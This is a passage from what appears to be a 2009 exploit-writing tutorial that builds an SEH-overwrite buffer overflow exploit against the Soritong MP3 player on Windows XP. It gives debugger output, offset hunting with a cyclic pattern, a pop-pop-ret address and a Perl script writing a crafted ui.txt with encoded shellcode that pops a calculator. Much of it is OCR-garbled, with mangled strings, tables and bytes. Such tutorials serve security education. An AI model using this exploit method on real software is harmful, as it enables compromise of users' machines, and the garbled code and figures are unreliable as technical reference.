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Microsoft has released a windbg extension called !exploitable. Download the package, and put the dll file in the windbg program folder, inside the winext subfolder.

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This module will help determining if a given application crash/exception/acces violation would be exploitable or not. (So this is not limited to SEH based exploits) When applying this module on the Soritong MP3 player, right after the first exception occurs, we see this :

(588.58c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017f504 edi=0012fd64 eip=00422e33 esp=00122d14 ebp=0012fd38 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 **** WARNING: Unable to verify checksum for SoriTong.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -SoriTong!TmC13_5+0x3ea3: 00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41

0:000> **!load winext/msec.dll** 0:000> **!exploitable** Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - User Mode Write AV starting at SoriTong!TmC13_5+0x0000000000003ea3 (Hash =0x46305909.0x7f354a3d)

User mode write access violations that are not near NULL are exploitable.

After passing the exception to the application (and windbg catching the exception), we see this :

0:000> g (588.58c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=000000000 eip=41414141 esp=0012d644 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 <Unloaded ud.drv>+0x41414140: 4141411 ?? ??? 0:000> elxploitable Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Read Access Violation at the Instruction Pointer starting at <Unloaded_u d.drv>+0x0000000041414140 (Hash=0x44435a4a.0x3e61660a)

Access violations at the instruction pointer are exploitable if not near NULL.

Great module, nice work Microsoft :-)

Can I use the shellcode found in the registers to jump to ?

Yes and no. Before Windows XP SP1, you could jump directly to these registers in order to execute the shellcode. But from SP1 and up, a protection mechanism has been plut in place to protect things like that from happening. Before the exception handler takes control, all registers are XOred with each other, so they all point to 0x00000000 That way, when SEH kicks in, the registers are useless.

Advantages of SEH Based Exploits over RET (direct EIP) overwrite stack overflows

In a typical RET overflow, you overwrite EIP and make it jump to your shellcode. This technique works well, but may cause stability issues (if you cannot find a jmp instruction in a dll, or if you need to hardcode addresses), and it may also suffer from buffer size problems, limiting the amount of space available to host your shellcode. It's often worth while, every time you have discovered a stack based overflow and found that you can overwrite EIP, to try to write further down the stack to try to hit the SEH chain. "Writing further down" means that you will likely end up with more available buffer space; and since you would be overwriting EIP at the same time (with garbage), an exception would be triggered automatically, converting the 'classic' exploit into a SEH exploit.

Then how can we exploit SEH based vulnerabilities ?

Easy. In SEH based exploits, your junk payload will first overwrite the next SEH pointer address, then the SE Handler. Next, put your shellcode. When the exception occurs, the application will go to the SE Handler. So you need to put something in the SE Handler so it would go to your shellcode. This is done by faking a second exception, so the application goes to the next SEH pointer. Since the next SEH pointer sits before the SE Handler, you can already overwritten the next SEH. The shellcode sits after the SE Handler. If you put one and one together, you can trick SE Handler to run pop pop ret, which will put the address to next SEH in EIP, and that will execute the code in next SEH. (So instead of putting an address in next SEH, you put some code in next SEH). All this code needs to do is jump over the next couple of bytes (where SE Handler is stored) and your shellcode will be executed

······(1)
[Junk buffer][next SEH][SE Handler][Shellcode] opcode to do (3) Shellcode gets executed
jump over pop pop ret SE Handler
on in EIP, so opcode gets executed (2) will 'pretend' there's a second exception, puts address of next SEH lo

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Of course, the shellcode may not be right after overwriting SE Handler... or there may be some additional garbage at the first couple of bytes... It's important to verify that you can locate the shellcode and that you can properly jump to the shellcode.

How can you find the shellcode with SEH based exploits ?

First, find the offset to next SEH and SEH, overwrite SEH with a pop pop ret, and put breakpoints in next SEH. This will make the application break when the exception occurs, and then you can look for the shellcode. See the sections below on how to do this.

Building the exploit - Find the "next SEH" and "SE Handler" offsets

We need to find the offset to a couple of things

to the place where we will overwrite the next SEH (with jump to shellcode)
to the place where we will overwrite the current SE Handler (should be right after the "next SEH" (we need to overwrite this something that will bring us back at next SEH)

to the shellcode

A simple way to do this is by filling the payload with an unique pattern (metasploit rulez again), and then looking for these 3 locations

\$iunk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac". "6Ak7Ak8Ak9A10A11A12A13A14A15A16A17A18A19Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
"n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9A06Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9"
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ay0Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7AR8Ar9Aso0As1As2As3As4As5As"
"6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A"
"v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Av0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9"
"Ay0Aq1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Av2Az12Az3Az4Az5Ax6Ax7Ax8Ax9"
"6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B"
"d30Ad4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be44E55Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8F "t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Pk0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By" "6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C" "b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9" "Cc00Ce1Ce2Ce3Ce4Ce5Cc6Ce7Cc8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0cg1Cg2Cg3Cg4Cg5Cg" "6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Cb6Ch7Ch8Ch9Ci0C11Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C" "j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9" "Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1co2Co3Co4Co5Co";

open (myfile,">ui.txt"); print myfile \$junk;

Create the ui.txt file

Open windbg, open the soritong exe executable. It will start paused, so launch it. The debugger will catch the first chance exception. Don't let it run further allowing the application to catch the exception, as it would change the entire stack layout. Just keep the debugger paused and look at the seh chain :

0:000> !exchain 0012fd64: <Unloaded_ud.drv>+41367440 (41367441) Invalid exception stack at 35744134

The SEH handler was overwritten with 41367441.

Reverse 41367441 (little endian) => 41 74 36 41, which is hex for At6A (http://www.dolcevie.com/js/converter.html). This corresponds with offset 588. This has learned us 2 things :

- The SE Handler is overwritten after 588 bytes

- The Pointer to the next SEH is overwritten after 588-4 bytes = 584 bytes. This location is 0x0012fd64 (as shown at the !exchain output)

We know that our shellcode sits right after overwriting the SE Handler. So the shellcode must be placed at 0012fd64+4bytes+4bytes

[Junk][next SEH][SEH][Shellcode]

(next SEH is placed at 0x0012fd64)

Goal : The exploit triggers an exception, goes to SEH, which will trigger another exception (pop pop ret). This will make the flow jump back to next SEH. So all we need to tell "next SEH" is "jump over the next couple of bytes and you'll end up in the shellcode". 6 bytes (or more, if you start the shellcode with a bunch of NOPs) will do just fine.

The opcode for a short jump is eb, followed by the jump distance. In other words, a short jump of 6 bytes corresponds with opcode eb 06. We need to fill 4 bytes, so we must add 2 NOP's to fill the 4 byte space. So the next SEH field must be overwritten with 0xeb,0×06,0×90,0×90

How exactly does the pop pop ret function when working with SEH based exploits?

When an exception occurs, the exception dispatcher creates its own stack frame. It will push elements from the EH Handler on to the newly created stack (as part of a function prologue). One of the fields in the EH Structure is the EstablisherFrame. This field points to the address of the exception registration record (the next SEH) that was pushed onto the program stack. This same address is also located at ESP+8 when the handler is called. Now if we overwrite the handler with the address of a pop pop ret sequence :

- the first pop will take off 4 bytes from the stack
- the second pop will take another 4 bytes from the stack
 the ret will take the current value from the top of ESP (= the address of the next SEH, which was at ESP+8, but because of the 2 pop's now sits at the top of the stack) and puts that in EIP.

We have overwritten the next SEH with some basic jumpcode (instead of an address), so the code gets executed. In fact, the next SEH field can be considered as the first part of our shellcode (jumpcode).

Building the exploit - putting all pieces together

After having found the important offsets, we only need the the address of a pop pop ret before we can build the exploit. When launching Soritong MP3 player in windbg, we can see the list of loaded modules :

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	76390000		C:\WINDOWS\system32\IMM32.DLL
	773d0000		C:\WINDOWS\WinSxS\x86_Microsoftd4ce83\comctl32.dll
	74720000		C:\WINDOWS\system32\MSCTF.dll
	755c0000		C:\WINDOWS\system32\msctfime.ime
	72d20000		C:\WINDOWS\system32\wdmaud.drv
	77920000		C:\WINDOWS\system32\setupapi.dll
	76c30000		C:\WINDOWS\system32\WINTRUST.dll
	77a80000		C:\WINDOWS\system32\CRYPT32.dll
	77b20000		C:\WINDOWS\system32\MSASN1.dll
	76c90000		C:\WINDOWS\system32\IMAGEHLP.dll
	72d20000		C:\WINDOWS\system32\wdmaud.drv
	77920000		C:\WINDOWS\system32\setupapi.dll
	72d10000		C:\WINDOWS\system32\msacm32.drv
	77be0000		C:\WINDOWS\system32\MSACM32.dll
	77bd0000		C:\WINDOWS\system32\midimap.dll
	10000000		C:\Program Files\SoriTong\Player.dll
	42100000		C:\WINDOWS\system32\wmaudsdk.dll
	00f10000		C:\WINDOWS\system32\DRMClien.DLL
	5bc60000		C:\WINDOWS\system32\strmdll.dll
	71ad0000		C:\WINDOWS\system32\WSOCK32.dll
	71ab0000		C:\WINDOWS\system32\WS2_32.dll
	71aa0000		C:\WINDOWS\system32\WS2HELP.dll
	76eb0000		C:\WINDOWS\system32\TAPI32.dll
ModLoad:	76e80000	76e8e000	C:\WINDOWS\system32\rtutils.dll

We are specifially interested in application specific dll's, so let's find a pop pop ret in that dll. Using findjmp.exe, we can look into that dll and look for pop pop ret sequences (e.g. look for pop edi)

Any of the following addresses should do, as long as it does not contain null bytes

C:\Program Files\SoriTong>c:\findjmp\findjmp.exe Player.dll edi | grep pop | grep -v "000" 0x100104F8 pop edi - pop - retbis

C:\Program	Files\So		٦g>	>c:\1	fir	
0x100104F8	рор	edi	-	рор	-	retbis
0x100106FB	рор	edi	-	рор	-	ret
0x1001074F	pop		-	pop	-	retbis
0x10010CAB	pop	edi	-	pop	-	ret
0x100116FD	pop	edi	-	pop	-	ret
0x1001263D	pop	edi	-	pop	-	ret
0x100127F8	pop	edi	-	pop	-	ret
0x1001281F	pop	edi	-	pop	-	ret
0x10012984	pop	edi	-	pop	-	ret
0x10012DDD	pop	edi	-	pop	-	ret
0x10012E17	pop	edi	-	pop	-	ret
0x10012E5E	pop	edi	-	pop	-	ret
0x10012E70	pop	edi	-	pop	-	ret
0x10012F56	pop	edi	-	pop	-	ret
0x100133B2	pop	edi	-	pop	-	ret
0x10013878	pop	edi	-	pop	-	ret
0x100138F7	qoq	edi	-	pop	-	ret
0x10014448	qoq	edi	-	pop	-	ret
0x10014475	pop	edi	-	pop	-	ret
0x10014499	qoq	edi	-	pop	-	ret
0x100144BF	pop	edi	-	pop	-	ret
0x10016D8C	qoq	edi	-	pop	-	ret
0x100173BB	pop	edi	-	pop	-	ret
0x100173C2	pop		-	pop	-	ret
0x100173C9	qoq	edi	-	pop	-	ret
0x1001824C	pop	edi	-	pop	-	ret
0x10018290	pop	edi	-	pop	-	ret
0x1001829B	pop	edi	-	pop	-	ret
0x10018DE8	pop	edi	-	pop	-	ret
0x10018FE7	pop	edi	-	pop	-	ret
0x10019267	pop	edi	-	pop	-	ret
0x100192EE	pop	edi	-	pop	-	ret
0x1001930F	pop	edi	-	pop	-	ret
0x100193BD	pop	edi	-	pop	-	ret
0x100193C8	pop	edi	-	pop	-	ret
0x100193FF	pop	edi	-	pop	-	ret
0x1001941F	pop	edi	-	pop	-	ret
0x1001947D	pop	edi	-	pop	-	ret
0x100194CD	pop	edi	-	pop	-	ret
0x100194D2	pop	edi	-	pop	-	ret
0x1001B7E9	pop	edi	-	pop	-	ret
0x1001B883	pop	edi	-	pop	-	ret
0x1001BDBA	pop	edi	-	pop	-	ret
0x1001BDDD	pop	edi	-	pop	-	ret
0x1001BE3C	pop	edi	-	pop	-	ret
0x1001DE5C	рор	edi	-	pop	-	ret
0x1001D8F5	рор	edi		pop	-	ret
0x1001E0C7	pop	edi	2	pop	2	ret
0x1001E812	pop		2		2	ret
0/10012012	pop	CUI	-	hoh	-	100

Let's say we will use 0x1008de8, which corresponds with

0:000> u 10018de8		
Player!Player_Action	+0x9528:	
10018de8 5f -	рор	edi
10018de9 5e	pop	esi
10018dea c3	ret	

(You should be able to use any of the addresses)

Note : as you can see above, findjmp requires you to specify a register. It may be easier to use msfpescan from Metasploit (simply run msfpescan against the dll, with parameter -p (look for pop pop ret) and output everything to file. msfpescan does not require you to specify a register, it will simply get all combinations... Then open the file & you'll see all address. Alternatively you can use memdump to dump all process memory to a folder, and then use msfpescan -M <folder> -p to look for all pop pop ret combinations from memory.

The exploit payload must look like this

c) Peter Van Eeckhoutte

[584 characters][0xeb,0x06,0x90,0x90][0x10018de8][NOPs][Shellcode]

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current SEH			
pop/pop/ret address		stage 2 (shellcode)	
-	replace the 4 bytes	at "next SEH" with breakpoints. That will allo	w vou to
J,, J		· · · · · · · · · · · · · · · · · · ·	
•			
	_r1 ,		
SEHoverwrite.\$shello	code.\$junk2;		
efore any exception dled. edx=00000090 esi=00 iopl=0 nv u =003b gs=0000 for SoriTong.exe	handling. D17e504 edi=0012 up ei ng nz ac p efl=000 export symbols f	be nc 10296 for SoriTong.exe -	
edx=7c9032bc esi=00)12d72c edi=7c90 µp ei pl zr na p	pe nc	
			l) further
1 42 43 44 45 46 47 3 44 45 46 47 48 49 5 46 47 48 49 4a 4b 0 90 90 90 90 90 90 90 0 90 90 90 90 90 90 90 90 0 90 90 90 90 90 90 90 90 0 90 90 90 90 90 90 90 90 0 90 90 90 90 90 90 90 90 0 90 90 90 90 90 90 90 90 0 90 90 90 90 90 90 90 90 0 90 90 90 90 90 90 90	HIJKLM2ABCDEF(JKLM3ABCDEFGH] LM	GHI IJK 	
oles" in the shellcode an ould jump further.	ywhere). If the sh	ellcode starts at an offset of where it should st	
90"; #jump 6 bytes			
); #pop pop ret from	ı player.dll		
<pre>xff\x4f\x49\x49\x49\x49 x56\x58\x34\x41\x30 x58\x32\x42\x44\x42 x44\x51\x42\x30\x41 x54\x44\x45\x4a\x4e x54\x4e\x33\x4b\x58 x38\x4f\x44\x4a\x41 x34\x4b\x38\x46\x43 x30\x42\x30\x44\x4c x50\x41\x30\x44\x4c x50\x4b\x58\x4e\x31 x52\x46\x30\x43\x4c x53\x45\x38\x42\x37 x46\x42\x37\x4e\x51 x30\x44\x38\x42\x38 x46\x42\x38\x42\x38 x46\x42\x38\x42\x38 x46\x42\x38\x42\x38 x46\x42\x38\x42\x38 x46\x42\x38\x42\x38 x46\x42\x38\x42\x38 x46\x42\x48\x42\x38 x46\x42\x48\x42\x38 x46\x42\x48\x42\x46 x50\x46\x48\x42\x46 x46\x42\x48\x42\x46 x46\x42\x48\x42\x46 x46\x42\x48\x42\x46 x46\x42\x48\x42\x46 x46\x48\x48\x42\x46 x46\x48\x48\x42\x46 x46\x48\x48\x42\x46 x46\x48\x48\x42\x46 x46\x48\x48\x42\x46 x46\x48\x48\x48\x42\x46 x46\x48\x48\x48\x42\x46 x46\x48\x48\x48\x48\x46 x46\x48\x48\x48\x46 x46\x48\x48\x48\x46 x46\x48\x48\x48\x48\x46 x46\x48\x48\x48\x48\x46\x48\x48\x46\x48\x46\x48\x46\x48\x46\x48\x48\x46\x48\x46\x48\x46\x48\x48\x46\x48\x46\x48\x46\x48\x46\x48\x48\x46\x48\x46\x48\x48\x46\x48\x46\x48\x48\x46\x48\x48\x46\x48\x48\x46\x48\x48\x46\x48\x48\x46\x48\x48\x48\x48\x48\x48\x46\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48</pre>	x49\x49" x42\x36" x44\x41" x44\x41" x44\x41" x46\x44" x4b\x48" x4b\x4	//metasploit.com	
	pop/pop/ret address SEH ght after SEH), you can if GHIJKLM3ABCDEFGHIJKL SEHoverwrite.\$shello adde: add: add: add: add:	pop/pop/ret address SEH ght after SEH), you can replace the 4 bytes cc"; #breakpoint); #pop pop ret from player.dll GHIJKLM3ABCDEFGHIJKLM"; SEHoverwrite.\$shellcode.\$junk2; po0005 (first chance) efore any exception handling. dled. edx=00000090 esi=0017e504 edi=0017 iopl=0 nv up ei ng nz ac r =003b gs=0000 efl=0017e504 edi=0017 iopl=0 nv up ei ng nz ac r =003b gs=0000 efl=001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 nv up ei pl zr na r =003b gs=0000 efl=0001272c edi=7c907 iopl=0 so	pop/pop/ret address stage 2 (shellcode) JSEH

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Knowledge is not an object, it's a flow

= "\x90" x 1000; my \$junk2

open(myfile,'>ui.txt');

print myfile \$junk.\$nextSEHoverwrite.\$SEHoverwrite.\$shellcode.\$junk2;

Create the ui.txt file and open soritong.exe directly (not from the debugger this time)

🖥 Calcu					Jo ×	1
Edit Vie	w Help				-	
I					0.	
	Backs	pace	CE		C	
мс	7	8	9	1	sqt	
MR	4	5	6		×.	
MS	1	2	3	•	1/x	
M+	0	•/•		+	•	

pwned !

W

Now let's see what happened under the hood. Put a breakpoint at the beginning of the shellcode and run the soritong.exe application from windbg again :

First chance exception :

The stack (ESP) points at 0x0012da14

```
eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e4ec edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010296
                                                                                                                                 nv up ei ng nz ac pe nc
efl=00010296
```

```
0:000> !exchain
0012fd64: *** WARNING: Unable to verify checksum for C:\Program Files\SoriTong\Player.dll
*** ERROR: Symbol file could not be found. Defaulted to export
C:\Program Files\SoriTong\Player.dll -
Player!Player_Action+9528 (10018de8)
Invalid exception stack at 909006eb
                                                                                                                                                                                                                                                                            syfmobrols
```

=> EH Handler points at 10018de8 (which is the pop pop ret). When we allow the application to run again, the pop pop ret will execute and will trigger another exception.

/he	happens, the "BE 06 90 90" code will be executed (the next SEH) and EIP will point at 0012fd6c, which is our shellcode :	
	> g b80): Break instruction exception - code 80000003 (first chance) 00000000 ebx=00000000 ecx=10018de8 edx=7c9032bc esi=0012d72c edi=7c9032a8 012fd6c esp=0012d650 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc 1b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 aded_ud.drv>+0x12fd6b: d6c cc int 3	
	> u 0012fd64 aded_ud.drv>+0x12fd63: d64 eb06 jmp <unloaded_ud.drv>+0x12fd6b (0012fd6c) d66 90 nop d67 90 nop</unloaded_ud.drv>	
	> d 0012fd60 d60 41 41 41 41 eb 06 90 90-e8 8d 01 10 cc eb 03 59 d70 eb 05 e8 f8 ff ff ff 4f-49 49 49 49 49 49 51 5a 0IIIIIQZ d80 56 54 58 36 33 30 56 58-34 41 30 42 36 48 48 30 VTX630VX4A086HH0 d90 42 33 30 42 43 56 58 32-42 44 42 48 34 41 32 41 d80 44 30 41 44 54 42 44 51-42 30 41 44 41 56 58 34 d80 44 30 41 44 54 42 44 51-42 30 41 44 41 56 58 34 d80 55 38 42 44 4a 4f 4d 4e-4f 4a 4e 46 44 42 30 42 d80 5a 38 42 44 4a 4f 4d 4e-4f 4a 4e 46 44 42 30 42 d80 56 42 30 4b 38 45 54 4e-33 4b 58 4e 37 45 50 4a d80 47 41 30 4f 4e 4b 38 4f-44 4a 41 4b 48 4f 35 42 d80 47 41 30 4f 4e 4b 38 4f-44 4a 41 db 58 47 40 400NK80DJAFD0B0B dc0 50 42 30 4b 38 45 54 4e-33 4b 58 4e 37 45 50 4a d80 47 41 30 4f 4e 4b 38 4f-44 4a 41 d50 56 42 30 4b 38 4f-44 4a 41	

41 41 41 41 : last characters of buffer
eb 06 90 90 : next SEH, do a 6byte jump
e8 8d 01 10 : current SE Handler (pop pop ret, which will trigger the next exception, making the code go to the next SEH pointer and run "eb 06 90 90")
cc eb 03 59 : begin of shellcode (I added a \xcc which is the breakpoint), at address 0x0012fd6c

You can watch the exploit building process in the following video :

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YouTube - Exploiting Soritong MP3 Player (SEH) on Windows XP SP3

You can view/visit my playlist (with this and future exploit writing video's) at Writing Exploits

Finding pop pop ret (and other usable instructions) via memdump

In this (and previous exploit writing tutorial articles), we have looked at 2 ways to find certain instructions in dll's, .exe files or drivers... : using a search in memory via windbg, or by using findjmp. There is a third way to find usable instructions : using memdump. Metasploit (for Linux) has a utility called memdump.exe (somewhere hidden in the tools folder). So if you have installed metasploit on a windows machine (inside cygwin), then you can start using it right away



First, launch the application that you are trying to exploit (without debugger). Then find the process ID for this application. Create a folder on your harddrive and then run

memdump.exe processID c:\foldername

Example :

- memdump.exe 3524 c:\cygwin\home\peter\memdump
 [*] Creating dump directory...c:\cygwin\home\peter\memdump
 [*] Attaching to 3524...
 [*] Dumping segments...

Dump completed successfully, 112 segments.

Now, from a cygwin command line, run msfpescan (can be found directly under in the metasploit folder) and pipe the output to a text file

```
peter@xptest2 ~/framework-3.2
$ ./msfpescan -p -M /home/peter/memdump > /home/peter/scanresults.txt
```

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Open the txt file, and you will get all interesting instructions.

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scanresults.txt - WordPad	LO X
File Edit View Insert Format Help	
Deel al a xeen s	
[/home/peter/memdump/01220000.rng]	
0x01221045 pop esi; pop ebx; ret	
0x01221199 pop ebp; pop ebx; ret	
0x012212aa pop edi; pop esi; ret	
0x01221321 pop ebp; pop ebx; retn 0x0010	
0x01221463 pop esi; pop ebx; retn 0x0004	
0x01221cc0 pop ebp; pop ebx; ret	
0x01221df9 pop edi; pop esi; retn 0x0004	
0x01222a51 pop esi; pop ecx; ret	
0x01222b76 pop ebx; pop edi; retn 0x0010	
0x01222e3c pop edi; pop esi; retn 0x0010	
0x01223565 pop esi; pop edi; retn 0x0010	
0x012236f7 pop ebx; pop ebp; retn 0x000c	
[/home/peter/memdump/01230000.rng]	
0x01231045 pop esi; pop ebx; ret	
0x01231199 pop ebp; pop ebx; ret	
0x012312aa pop edi; pop esi; ret	
0x01231321 pop ebp; pop ebx; retn 0x0010	
0x01231463 pop esi; pop ebx; retn 0x0004	
0x01231cc0 pop ebp; pop ebx; ret	
0x01231fe9 pop edi; pop esi; retn 0x0004	
0x0123353b pop ebp; pop ebx; retn 0x0010	
0x012335fc pop ebp; pop ebx; retn 0x0010	-
For Heb, press F1	

All that is left is find an address without null bytes, that is contained in one of the dll's that use not /SafeSEH compiled. So instead of having to build opcode for pop pop ret combinations and looking in memory, you can just dump memory and list all pop pop ret combinations at once. Saves you some time :-)

Questions ? Comments ? Tips & Tricks ? http://www.corelan.be:8800/index.php/forum/writing-exploits

Some interesting debugger links

Ollydbg OllySSEH module Ollydbg plugins Windbg Windbg !exploitable module

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on Saturday, July 25th, 2009 at 12:27 am and is filed under 001_Security, Exploit Writing Tutorials, Exploits You can follow any responses to this entry through the Comments (RSS) feed. You can leave a response, or trackback from your own site.

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